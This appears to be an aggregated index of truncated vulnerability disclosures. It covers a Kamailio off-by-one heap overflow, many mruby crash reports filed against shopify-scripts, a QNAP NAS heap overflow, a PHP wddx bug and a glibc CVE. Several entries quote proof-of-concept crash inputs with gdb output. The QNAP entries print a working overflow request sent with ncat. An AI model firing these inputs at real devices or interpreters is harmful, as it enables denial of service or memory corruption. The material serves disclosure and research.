Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow

''' Off-by-one heap overflow in Kamailio - Authors: - Alfred Farrugia - Sandro Gauci - Fixed versions: Kamailio v5.1.2, v5.0.6 and v4.4.7 - References: no CVE assigned yet - Enable Security Advisory: - Tested vulnerable versions: 5.1.1, 5.1.0, 5.0.0 - Timeline: - Report date: 2018-02-10 - Kamaili...

shopify-scripts: SIGSEGV in mrb_vm_exec

PoC ------------------- The following code triggers the bug attached as testmrbvmexec.rb: def methodmissingmeth,argsyieldmeth,argsend enumfor.next Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb rReading symbols from ./mirb...done. gdb r testmrbvmexec.rb Starting...

shopify-scripts: SIGSEGV in mrb_str_inum

PoC ------------------- The following code triggers the bug attached as testmrbstrinum.rb: def methodmissingfalse end def tostr""end Integerÿ,2.h Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb r Reading symbols from ./mirb...idone. gdb r testmrbstrinum.rb Starting...

shopify-scripts: SIGABRT in mrb_debug_info_append_file

PoC ------------------- The following code triggers the bug attached as testmrbdebuginfoappendfile.rb: i""do"".+end mirb ------------------- x@x:/Desktop/test/mruby/bin$ ./mirb testmrbdebuginfoappendfile.rb mirb - Embeddable Interactive Ruby Shell mirb: /home/x/Desktop/test/mruby/src/debug.c:136:...

shopify-scripts: SIGSEGV in mrb_class

PoC ------------------- Attached as testmrbclass.rb: Debug - mirb ------------------- Program received signal SIGSEGV, Segmentation fault. 0x0000000000402ef2 in mrbclass mrb=0x6b0010, v=... at /home/x/Desktop/test/mruby/include/mruby/class.h:50 50 return mrbobjptrv-c; gdb l 45 case MRBTTCPTR: 46...

shopify-scripts: SIGABRT - mirb - Double Free

PoC ------------------- Attached as test.rb Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb r Reading symbols from ./mirb...done. gdb r test.rb Starting program: /home/x/Desktop/test/mruby/bin/mirb test.rb mirb - Embeddable Interactive Ruby Shell NoMethodError: undefin...

shopify-scripts: SIGABRT - mirb and mruby

PoC ------------------- The following code triggers the bug attached as test.rb: def methodmissingm,e self.ff||=00end e Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb Reading symbols from ./mirb...done. gdb r test.rb Starting program: /home/x/Desktop/test/mruby/bin/mi...

shopify-scripts: SIGSEGV - mrb_obj_value

Linux Ubuntu Xenial 64 commit f8b31a0db671b71d2794ce866b87596a09c10bf0 Author: Yukihiro "Matz" Matsumoto Date: Wed Mar 15 09:00:03 2017 +0900 output RAX: 0x0 RBX: 0x6c4e80 -- 0x1 RCX: 0x6c4e50 -- 0x6b4320 -- 0x112 RDX: 0xf222f69400000003 RSI: 0x6b4320 -- 0x112 RDI: 0x0 RBP: 0x7fffffffdb10 --...

shopify-scripts: SIGSEGV - mark_context_stack

PoC ------------------- The following code triggers the bug attached as testmarkcontextstack.rb: def one tooyieldend def too yield ensure onebreakend one Debug - mirb ------------------- Starting program: /home/x/Desktop/test/mruby/bin/mirb testmarkcontextstack mirb - Embeddable Interactive Ruby...

shopify-scripts: Memory corrouption in mrb_gc_mark

The memory corruption in mrbgcmark function can lead to code execution or at least DoS on mruby. PoC attached. Crash debug mr@minhrau $ ./mrubylatest/mruby/build/bench/bin/mruby ./mruby/fuzz03/crashes/mrbgcmark.rb Reading symbols from ./mrubylatest/mruby/build/bench/bin/mruby...done. gdb r...

shopify-scripts: Segmentation fault while printing backtrace

The code below crashes the sandbox/mruby as it tries to print the backtrace. Incidentally, it does not crash mirb. def foon return '' if n \n' ensure % if:n != if n == -1110 else foon-1.% end end %foo0 We are still examining the bug and hope to produce a detailed analysis and a fix this week...

shopify-scripts: SIGSEGV - vm.c - line:1214

PoC ------------------- The following code triggers the bug attached as testmrbvmexec1214.rb: def test instanceexec do return toenum:==end ensure end test Debug - mirb ------------------- gdb r testmrbvmexec1214.rb Starting program: /home/x/Desktop/research/3fuzz/mruby/bin/mirb testmrbvmexec1214....

shopify-scripts: Crash in print_backtrace

This crash does not affect mruby-engine because it does not print the back trace in guest. We can control the register by setting a backtrace array. PoC ruby exc = Exception.new exc.setbacktrace0x41414141 raise exc GDB $ gdb -q --args ./bin/mruby test12.rb Reading symbols from ./bin/mruby...done...

shopify-scripts: SIGSEGV - mrb_obj_extend - line:413

PoC: ------------------- The following code triggers the bug attached as testmrbobjextend413.rb: module Test end def methodmissingsextendTestend def setva.set0end set0 Mirb - Debug: ------------------- gdb r testmrbobjextend413.rb The program being debugged has been started already. Start it from...

QNAP NAS Devices - Heap Overflow Exploit

Exploit for linux platform in category dos / poc ================== 1 Heap overflow ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user guest|admin 1.1 / Remote / Remote host echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=fori=0;i263;i++;do echo -en "A";done HTTP/1.0\nHost: QNAP\n\n" |...

QNAP NAS Devices - Heap Overflow

================== 1 Heap overflow ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user guest|admin 1.1 / Remote / Remote host echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=fori=0;i263;i++;do echo -en "A";done HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443 HTTP/1.1 200 OK Date:...

shopify-scripts: SIGSEGV - kh_resize_iv - Null Deref

PoC --------------------- The following code triggers the bug attached as khresizeiv.rb: l t'',''doend s'',''do.end d t''do.end a=Array.new a.=102,0 € s a.tos a a.tos a.i Debug - mirb --------------------- gdb r khresizeiv.rb Starting program: /home/x/Desktop/research/mruby/bin/mirb khresizeiv.rb...

shopify-scripts: Segmentation fault due to invalid memory access in codegen when using break with the 127th argument a constant

Crash file is: break 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CRASH This is 126 0's,...

Internet Bug Bounty: Invalid read when wddx decodes empty boolean element

Description ----------- I have found some vulnerable code in wddx extension. The trouble happens when trying to process 'boolean' tag. If I open tag without data, new stentry item WILL NOT be pushed into stack. When tag is closed and stack-top is greater than 1, stentry item at top of stack WILL ...

CVE-2016-6323

The makecontext function in the GNU C Library aka glibc or libc6 before 2.25 creates execution contexts incompatible with the unwinder on ARM EABI 32-bit platforms, which might allow context-dependent attackers to cause a denial of service hang, as demonstrated by applications compiled using gccg...